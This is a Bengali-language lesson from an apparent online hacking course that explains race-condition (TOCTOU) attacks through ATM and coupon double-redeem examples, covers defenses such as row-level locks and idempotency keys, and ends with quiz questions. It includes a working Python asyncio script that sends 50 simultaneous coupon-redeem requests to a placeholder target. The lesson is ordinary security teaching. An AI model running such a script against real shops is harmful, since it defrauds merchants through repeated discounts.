⚡ Shadow Academy
⏱️ Chapter 37

এই অধ্যায়ে কী শিখবে

⏱ আনুমানিক সময়: ১৫–২০ মিনিট · পূর্বশর্ত: আগের অধ্যায়ের ধারণা

০ / ১০০ অধ্যায়চালিয়ে যাও: অধ্যায় 38

অগ্রগতি এই browser-এ স্থানীয়ভাবে সংরক্ষিত হবে।

⏱️
রেস কন্ডিশন অ্যাটাক — সময়ের ফাঁকে আক্রমণ!
সমান্তরাল থ্রেডিং, TOCTOU দুর্বলতা ও কুপন ডাবল-স্পেন্ড হ্যাকিং
🧭 দক্ষতা যাচাই ও প্রতিরক্ষামূলক takeaway
Skill checkpoint: Local transaction demo-তে race-condition risk ও inconsistency শনাক্ত করো।
Defense checkpoint: Atomic update, idempotency key ও concurrency-safe invariant প্রয়োগ করো.
Lab scope: শুধু নিজের lab, synthetic data বা লিখিত অনুমতিপ্রাপ্ত target-এ অনুশীলন করো। Real credential, token বা customer data ব্যবহার কোরো না।
Portfolio proof: finding, impact, fix ও retest নিয়ে ৫-লাইনের redacted note রাখো।
⚡ গল্প ১: এটিএম বুথ ও দুই বন্ধুর যুগপৎ টানাহেঁচড়া
ভাবো তোমার ব্যাংক একাউন্টে ঠিক ₹১,০০০ টাকা জমা আছে। তুমি আর তোমার ভাই শহরের দুটো আলাদা প্রান্তে দুটি এটিএম বুথে ঢুকলে। ঠিক কাঁটায় কাঁটায় দুপুর ১২:০০:০০.০০০ সেকেন্ডে তোমরা দুজন একই সাথে ₹১,০০০ টাকা তোলার বোতাম চাপলে!

যদি ব্যাংকের ডেটাবেস সিস্টেম একটুও আলসেমি করে এবং একাউন্ট ব্যালেন্স আপডেট করতে কয়েক মিলি-সেকেন্ড দেরি করে, তবে উভয় এটিএম বুথ থেকেই ₹১,০০০ করে মোট ₹২,০০০ টাকা বেরিয়ে আসবে! অথচ একাউন্টে ছিল মাত্র ১,০০০ টাকা!

এই অদ্ভুত ও মারাত্মক ফাঁকফোকরটিকেই হ্যাকিংয়ের ভাষায় বলা হয় Race Condition (Time-of-Check to Time-of-Use বা TOCTOU)!
💸 গল্প ২: কুপন কোড ও গিফট কার্ড ডাবল রিডিম
অনলাইন শপিং সাইটে সবচেয়ে বড় রেস কন্ডিশন পাওয়া যায় কুপন কোড ও রেফারেল বোনাস রিডিমে।
সাধারণ ফ্লো:
১. সার্ভার দেখে: কুপন কি ব্যবহৃত হয়েছে? (Check: না, এখনো হয়নি)
২. সার্ভার ডিসকাউন্ট দেয়: ₹৫০০ টাকা ছাড়!
৩. সার্ভার কুপনটিকে মার্ক করে: 'Used'!

ধূর্ত হ্যাকাররা ১ নম্বর ও ৩ নম্বর ধাপের মাঝখানের ন্যানো-সেকেন্ডের ব্যবধানে Python aiohttp দিয়ে একসাথে ৫০টি রিকোয়েস্ট পাঠিয়ে দেয়! ফলে সার্ভার সবগুলো রিকোয়েস্টকেই 'Valid' মনে করে ৫০ বার ₹৫০০ টাকা করে মোট ₹২৫,০০০ ছাড় দিয়ে দেয়! 🎯
# Python Asyncio দিয়ে ৫০টি সমান্তরাল (Parallel) রেস কন্ডিশন রিকোয়েস্ট:
import asyncio, aiohttp

async def claim_coupon(session, coupon):
    url = "https://api.target.com/v1/coupon/apply"
    payload = {"code": coupon}
    async with session.post(url, json=payload) as resp:
        return await resp.text()

async def race_attack():
    async with aiohttp.ClientSession() as session:
        # ৫০টি রিকোয়েস্ট একই মিলিসেকেন্ডে ফায়ার করা:
        tasks = [claim_coupon(session, "FLAT500_OFF") for _ in range(50)]
        results = await asyncio.gather(*tasks)
        print(f"Applied successfully: {sum('Success' in r for r in results)} times!")

asyncio.run(race_attack())
🛡️ গল্প ৩: সার্ভার কীভাবে নিজেকে বাঁচাবে? (Mutex ও Locking)
রেস কন্ডিশন আটকানোর উপায় হলো ডেটাবেস Row-level Lock (`SELECT ... FOR UPDATE`) ব্যবহার করা অথবা রিকোয়েস্টের সাথে একটি অনন্য Idempotency Key (UUID) বাধ্যতামূলক করা। প্রথম রিকোয়েস্ট ছাড়া বাকি সব ডুপ্লিকেট রিকোয়েস্ট সার্ভার রিজেক্ট করে দেবে!
💡 রেস কন্ডিশন চেনার উপায়
যেখানেই ব্যালেন্স কাটা, টিকিট বুকিং, ডিসকাউন্ট কুপন, কয়েন ট্রান্সফার বা ভোট দেওয়ার অপশন আছে — সেখানেই সমান্তরাল থ্রেডে রিকোয়েস্ট পাঠিয়ে রেস উইন্ডো টেস্ট করবে!

🧪 Race Condition Exploiter

কুপন কোড ইনপুট দাও — একসাথে ৫০টি সমান্তরাল থ্রেডে হিট করে দেখো!

ল্যাবের ইনপুট দিয়ে "রান করো" বাটনে ক্লিক করো...
❓ প্রশ্ন 1: Race Condition কী?
❓ প্রশ্ন 2: Coupon Race Condition কীভাবে কাজ করে?
❓ প্রশ্ন 3: Python-এ parallel requests কীভাবে পাঠাবে?
❓ প্রশ্ন 4: Race Condition prevent করার উপায়?
❓ প্রশ্ন 5: কোথায় Race Condition খুঁজবে?
❓ প্রশ্ন 6: Idempotency key কী করে?
❓ প্রশ্ন 7: 50টা thread একসাথে fire করার trick?
❓ প্রশ্ন 8: Limited stock race condition-এ কী হয়?
❓ প্রশ্ন 9: Burp Suite-এ Race Condition test করবে কীভাবে?
❓ প্রশ্ন 10: Race Condition bug bounty-তে কোন severity?

বিশ্বস্ত reference

আরও পড়ার জন্য প্রতিষ্ঠিত security standards ও guidance দেখো; প্রতিটি lab অনুমোদিত বা synthetic environment-এ করো।

Bristy Ma'am
বৃষ্টি ম্যাম 👩‍🏫
তোমার পার্সোনাল হ্যাকিং মেন্টর • অনলাইন
আরে সৌরভ! কেমন আছো? কোনো কনসেপ্ট বা কুইজে আটকালে আমাকে বলো, আমি বুঝিয়ে দিচ্ছি! ❤️